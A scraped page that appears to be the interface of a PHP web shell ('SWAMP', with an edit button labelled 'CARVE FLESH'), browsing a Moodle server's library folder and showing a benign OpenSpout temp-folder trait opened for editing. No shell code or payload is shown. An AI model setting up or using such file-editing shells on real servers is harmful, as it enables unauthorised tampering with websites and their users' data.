░▒▓████████████████████████████████▓▒░ ░▒▓█ ▓▒░ ░▒▓█ ~ S W A M P ~ ▓▒░ ░▒▓█ ▓▒░ ░▒▓████████████████████████████████▓▒░
pplmvsvm
LOCATION:
/var/www/moodle/public/lib/openspout/src/Common
☗ ROOT
↻ REFRESH
✎ CARVE FLESH
EDITING: TempFolderOptionTrait.php
<?php declare(strict_types=1); namespace OpenSpout\Common; use OpenSpout\Common\Exception\InvalidArgumentException; /** * @internal */ trait TempFolderOptionTrait { private string $tempFolder; final public function setTempFolder(string $tempFolder): void { if (!is_dir($tempFolder) || !is_writable($tempFolder)) { throw new InvalidArgumentException("{$tempFolder} is not a writable folder"); } $this->tempFolder = $tempFolder; } final public function getTempFolder(): string { if (!isset($this->tempFolder)) { $this->setTempFolder(sys_get_temp_dir()); } return $this->tempFolder; } }
CANCEL
Name
Type
Size
Modified
Actions
↩ ..
DIR
—
—
📁 Entity/
DIR
—
2026-02-11 01:44
📁 Exception/
DIR
—
2026-02-11 01:44
📁 Helper/
DIR
—
2026-02-11 01:44
📄 TempFolderOptionTrait.php
PHP
694 B
2026-02-11 01:44
EDIT